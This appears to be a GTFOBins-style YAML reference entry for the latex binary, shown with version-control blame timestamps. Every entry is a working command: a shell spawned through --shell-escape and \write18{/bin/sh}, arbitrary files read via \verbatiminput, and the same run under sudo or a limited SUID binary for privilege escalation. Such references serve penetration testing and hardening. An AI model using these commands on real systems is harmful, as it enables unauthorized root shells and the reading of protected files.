2021-04-26 16:06:18 +02:00
|
|
|
---
|
2021-04-22 22:14:40 +02:00
|
|
|
functions:
|
2021-04-26 16:06:18 +02:00
|
|
|
shell:
|
2021-04-22 22:14:40 +02:00
|
|
|
- code: |
|
2021-04-26 16:06:18 +02:00
|
|
|
latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
|
|
file-read:
|
|
|
|
- description: The read file will be part of the output.
|
|
|
|
code: |
|
|
|
|
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
|
|
strings article.dvi
|
2021-04-22 22:14:40 +02:00
|
|
|
sudo:
|
2021-04-26 16:06:18 +02:00
|
|
|
- description: The read file will be part of the output.
|
|
|
|
code: |
|
|
|
|
sudo latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
|
|
|
strings article.dvi
|
|
|
|
- code: |
|
|
|
|
sudo latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
|
|
limited-suid:
|
2021-04-22 22:14:40 +02:00
|
|
|
- code: |
|
2021-04-26 16:06:18 +02:00
|
|
|
./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
|
|
|
---
|